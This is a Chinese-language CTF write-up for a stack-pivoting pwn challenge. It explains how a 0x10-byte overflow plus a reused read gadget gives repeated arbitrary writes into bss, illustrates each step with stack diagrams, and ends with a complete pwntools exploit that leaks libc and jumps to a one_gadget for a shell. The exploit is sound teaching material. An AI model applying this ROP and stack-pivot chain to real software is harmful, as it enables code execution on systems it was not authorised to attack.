Dragon_Knight_CTF-stack(棧遷移)
程式的保護情況如下,可以看到沒有開啟pie保護
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
可以看道main函式也很簡潔,只有一個0x10大小的溢位,程式給了libc,版本是2.31的
nt __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[256]; // [rsp+0h] [rbp-100h] BYREF
inits();
puts("Hello, CTFer, do you know how to stack pivoting?");
read(0, buf, 0x110uLL);
return 0;
}
思路分析
思路一:
可以看到返回地址是一個libc地址,我們只要將這個地址改成og地址就能拿到shell了,只不過這個比較看臉,1/4096的機率,理論上是可以拿到shell的,開多執行緒的話機會更大。但是對於我這種石頭剪刀布都沒有贏過別人的人,這種方法是行不通的。
思路二:
那就是棧遷移了,pwn最開始的棧遷移題目,一般是會給兩次read機會的,第一次讓我們往bss段上寫rop,第二次只給0x10大小的溢位空間讓我們進行棧遷移操作。
這道題只給了0x10大小的棧溢位空間,所以我們要想辦法,創造多次寫入的機會。
main函式的彙編:
.text:0000000000401176 ; __unwind {
.text:0000000000401176 endbr64
.text:000000000040117A push rbp
.text:000000000040117B mov rbp, rsp
.text:000000000040117E sub rsp, 100h
.text:0000000000401185 mov eax, 0
.text:000000000040118A call inits
.text:000000000040118F lea rdi, s ; "Hello, CTFer, do you know how to stack "...
.text:0000000000401196 call _puts
.text:000000000040119B lea rax, [rbp+buf]
.text:00000000004011A2 mov edx, 110h ; nbytes
.text:00000000004011A7 mov rsi, rax ; buf
.text:00000000004011AA mov edi, 0 ; fd
.text:00000000004011AF mov eax, 0
.text:00000000004011B4 call _read
.text:00000000004011B9 mov eax, 0
.text:00000000004011BE leave
.text:00000000004011BF retn
.text:00000000004011BF ; } // starts at 401176
.text:00000000004011BF main endp
可以看到0x040119B,這行彙編會將rbp+buf的地址傳給rax,而0x04011A7又會將rax傳給rsi,之後會執行read函式,而rsi正是read函式的第二個引數,也就是要寫入內容的地址。
所以我們如果能控制了rbp,那麼這裡就相當於有一個任意寫。
到這裡思路就很明朗了,這裡的任意寫我們在bss段寫上rop,然後會執行leave ret,完成棧轉移。
第一次溢位:
magic = 0x0040119B #lea rax,[rbp+buf]
bss_buf = 0x0404a00
payload = b'a'*0x100+p64(bss_buf+0x100)+p64(magic)
p.sendafter('pivoting?\n',payload)
因為是頁對齊,所以bss段其實是比較大的,bss段開始是0x404040,我這裡設定bss_buf是0x40a00,這兩者相差好幾百位元組。為什麼要這麼設定呢?因為假如在bss段執行rop,比如說執行read函式,在呼叫read函式的時候會向上申請棧,那麼他可能會申請到不可讀的空間,甚至會覆蓋到got表,這樣程式就直接carsh了,所以棧轉移一般要設定在bss段後面一點,以防發生類似的錯誤。
這裡首先就是將rbp設定成bss_buf+0x100,然後將會執行read(0,bss_buf,0x110)
,在執行read函式的時候其實還沒進行棧轉移,棧轉移是在執行完read函式之後進行的。
第二次溢位:
payload = p64(pop_rdi)+p64(puts_got)+p64(puts)
payload+= p64(pop_rbp)+p64(bss_buf+0x100+0x30)+p64(magic)
payload = payload.ljust(0x100,b'\x00')
payload+= p64(bss_buf-8)+p64(leave_ret)
p.send(payload)
向bss_buf進行寫rop,用puts函式來洩露libc基地址。
之後透過調整rbp的值,再次呼叫magic函式來獲取任意寫,這次要寫入的地址其實是bss_buf+0x30。
第三次溢位:
payload = p64(pop_r12_r13_r14_r15)+p64(0)*4+p64(shell)
payload = payload.ljust(0x100,b'\x00')
payload+= p64(bss_buf+0x30-8)+p64(leave_ret)
p.send(payload)
再次完成棧轉移,將rip劫持到bss_buf+0x30去執行我們寫入的pop_r12_r13_r14_r15,用pop_r12_r13_r14_r15來使og可用,拿到shell。
棧轉移分析
為了方便理解,我畫了一些棧圖來幫助理解。
magic = 0x0040119B #lea rax,[rbp+buf]
bss_buf = 0x0404a00
payload = b'a'*0x100+p64(bss_buf+0x100)+p64(magic)
p.sendafter('pivoting?\n',payload)
在執行完read函式,溢位後此時的棧空間:
rsp--> | ||
... | ||
0x7ffcb8008b70 | aaaaaaaa | |
... | aaaaaaaa | |
0x7ffcb8008c58 | aaaaaaaa | |
0x7ffcb8008c60 | aaaaaaaa | |
0x7ffcb8008c68 | aaaaaaaa | |
rbp--> | 0x7ffcb8008c70 | 0x404b00 |
return_addr | 0x7ffcb8008c78 | magic |
執行main函式本身的leave ret後:
0x4049f8 | 0 | |
0x404a00 | 0 | |
0x404a08 | 0 | |
0x404a10 | 0 | |
0x404a18 | 0 | |
0x404a20 | 0 | |
0x404a28 | 0 | |
0x404a30 | 0 | |
... | 0 | |
rbp--> | 0x404b00 | 0 |
0x404b08 |
執行read(0,0x404a00,0x110)
payload = p64(pop_rdi)+p64(puts_got)+p64(puts)
payload+= p64(pop_rbp)+p64(bss_buf+0x100+0x30)+p64(magic)
payload = payload.ljust(0x100,b'\x00')
payload+= p64(bss_buf-8)+p64(leave_ret)
p.send(payload)
0x4049f8 | 0 | |
0x404a00 | pop_rdi | |
0x404a08 | puts_got | |
0x404a10 | puts | |
0x404a18 | pop_rbp | |
0x404a20 | 0x40b30 | |
0x404a28 | magic | |
0x404a30 | 0 | |
... | 0 | |
rbp--> | 0x404b00 | 0x4049f8 |
0x404b08 | leave_ret |
第一次溢位將返回地址覆蓋為magic,執行完read後會帶一個leave ret指令,執行完leave ret指令的棧圖
rbp--> | 0x4049f8 | 0 |
0x404a00 | pop_rdi | |
0x404a08 | puts_got | |
0x404a10 | puts | |
0x404a18 | pop_rbp | |
0x404a20 | 0x40b30 | |
0x404a28 | magic | |
0x404a30 | aaaaaaaa | |
... | aaaaaaaa | |
0x404b00 | 0x4049f8 | |
rsp--> | 0x404b08 | leave_ret |
rsp指向leave ret,將會再次執行leave ret指令,執行完的棧圖
0x4049f8 | 0 | |
rsp--> | 0x404a00 | pop_rdi |
0x404a08 | puts_got | |
0x404a10 | puts | |
0x404a18 | pop_rbp | |
0x404a20 | 0x40b30 | |
0x404a28 | magic | |
0x404a30 | aaaaaaaa | |
... | aaaaaaaa | |
rbp--> | 0x404b00 | 0x4049f8 |
0x404b08 | leave_ret |
puts(puts_got)
read(0,0x404a30,0x110)
payload = p64(pop_r12_r13_r14_r15)+p64(0)*4+p64(shell)
payload = payload.ljust(0x100,b'\x00')
payload+= p64(bss_buf+0x30-8)+p64(leave_ret)
p.send(payload)
0x4049f8 | ||
0x404a00 | ||
0x404a08 | ||
0x404a10 | ||
0x404a18 | ||
0x404a20 | ||
rsp--> | 0x404a28 | |
0x404a30 | pop_r12_r13_r14_r15 | |
0x404a38 | 0 | |
0x404a40 | 0 | |
0x404a48 | 0 | |
0x404a50 | 0 | |
0x404a58 | shell | |
... | 0 | |
0x404b08 | 0 | |
0x404b10 | 0 | |
0x404b18 | 0 | |
0x404b20 | 0 | |
0x404b28 | 0 | |
rbp--> | 0x404b30 | 0x404a28 |
0x404b38 | leave_ret |
執行跳轉到magic地址自帶的leave ret
0x4049f8 | ||
0x404a00 | ||
0x404a08 | ||
0x404a10 | ||
0x404a18 | ||
0x404a20 | ||
rbp--> | 0x404a28 | |
0x404a30 | pop_r12_r13_r14_r15 | |
0x404a38 | 0 | |
0x404a40 | 0 | |
0x404a48 | 0 | |
0x404a50 | 0 | |
0x404a58 | shell | |
... | 0 | |
0x404b08 | 0 | |
0x404b10 | 0 | |
0x404b18 | 0 | |
0x404b20 | 0 | |
0x404b28 | 0 | |
0x404b30 | 0x404a28 | |
rsp--> | 0x404b38 | leave_ret |
rsp指向leave ret,將會再次執行leave ret指令,執行完的棧圖
0x4049f8 | ||
0x404a00 | ||
0x404a08 | ||
0x404a10 | ||
0x404a18 | ||
0x404a20 | ||
0x404a28 | ||
rsp--> | 0x404a30 | pop_r12_r13_r14_r15 |
0x404a38 | 0 | |
0x404a40 | 0 | |
0x404a48 | 0 | |
0x404a50 | 0 | |
0x404a50 | shell | |
... | 0 | |
0x404b08 | 0 | |
0x404b10 | 0 | |
0x404b18 | 0 | |
0x404b20 | 0 | |
0x404b28 | 0 | |
0x404b30 | 0x404a28 | |
0x404b38 | leave_ret |
接下來執行pop_r12_r13_r14_r15,然後就拿到shell了。
exp
from pwn import *
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context(os='linux',arch='amd64',log_level='debug')
magic = 0x0040119B #lea rax,[rbp+buf]
pop_rdi = 0x00401210
puts_got = elf.got['puts']
puts = elf.plt['puts']
leave_ret = 0x004011BE
read = elf.plt['read']
pop_rbp = 0x0040115d
bss_buf = 0x0404a00
og = [0xe3afe,0xe3b01,0xe3b04]
payload = b'a'*0x100+p64(bss_buf+0x100)+p64(magic)
p.sendafter('pivoting?\n',payload)
payload = p64(pop_rdi)+p64(puts_got)+p64(puts)
payload+= p64(pop_rbp)+p64(bss_buf+0x100+0x30)+p64(magic)
payload = payload.ljust(0x100,b'\x00')
payload+= p64(bss_buf-8)+p64(leave_ret)
p.send(payload)
libc_base = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))-libc.symbols['puts']
print('libc_base-->'+hex(libc_base))
shell = libc_base+og[0]
pop_r12_r13_r14_r15 = 0x040127c
payload = p64(pop_r12_r13_r14_r15)+p64(0)*4+p64(shell)
payload = payload.ljust(0x100,b'\x00')
payload+= p64(bss_buf+0x30-8)+p64(leave_ret)
p.send(payload)
p.interactive()